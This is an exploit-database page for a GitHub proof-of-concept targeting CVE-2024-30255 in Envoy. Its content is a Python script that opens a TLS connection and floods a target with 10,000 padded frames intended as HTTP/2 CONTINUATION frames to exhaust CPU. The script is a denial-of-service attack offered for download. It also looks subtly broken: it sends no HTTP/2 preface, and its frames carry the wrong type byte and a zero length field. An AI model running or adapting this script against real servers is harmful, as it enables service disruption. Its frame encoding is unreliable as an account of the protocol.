Exploit database

GH-7d799eda879a1ef3421a709f7d84baf8

blackmagic2023/envoy-cpu-exhaustion-vulnerability-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-30255

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

envoyPOC.py

Python · 1,266 bytes
import socket
import ssl

# Target Envoy server details
TARGET_HOST = 'example.com'
TARGET_PORT = 443

# Number of CONTINUATION frames to send
NUM_CONTINUATION_FRAMES = 10000

# Payload for the CONTINUATION frames
CONTINUATION_PAYLOAD = b'\x00' * 1024  # Adjust payload size as needed

def send_continuation_frames():
    try:
        # Create a TCP socket
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # Wrap the socket with SSL/TLS
        ssl_socket = ssl.wrap_socket(client_socket)

        # Connect to the target server
        ssl_socket.connect((TARGET_HOST, TARGET_PORT))

        # Send HEADERS frame
        headers_frame = b'\x00\x00\x04\x01\x00\x00\x00\x01\x00\x00\x00\x01\x82\x84'
        ssl_socket.send(headers_frame)

        # Send CONTINUATION frames
        for _ in range(NUM_CONTINUATION_FRAMES):
            continuation_frame = b'\x00\x00\x00\x01\x00\x00\x00\x00\x00' + CONTINUATION_PAYLOAD
            ssl_socket.send(continuation_frame)

        print(f"Sent {NUM_CONTINUATION_FRAMES} CONTINUATION frames successfully.")
    
    except Exception as e:
        print(f"An error occurred: {str(e)}")
    
    finally:
        ssl_socket.close()

if __name__ == "__main__":
    send_continuation_frames()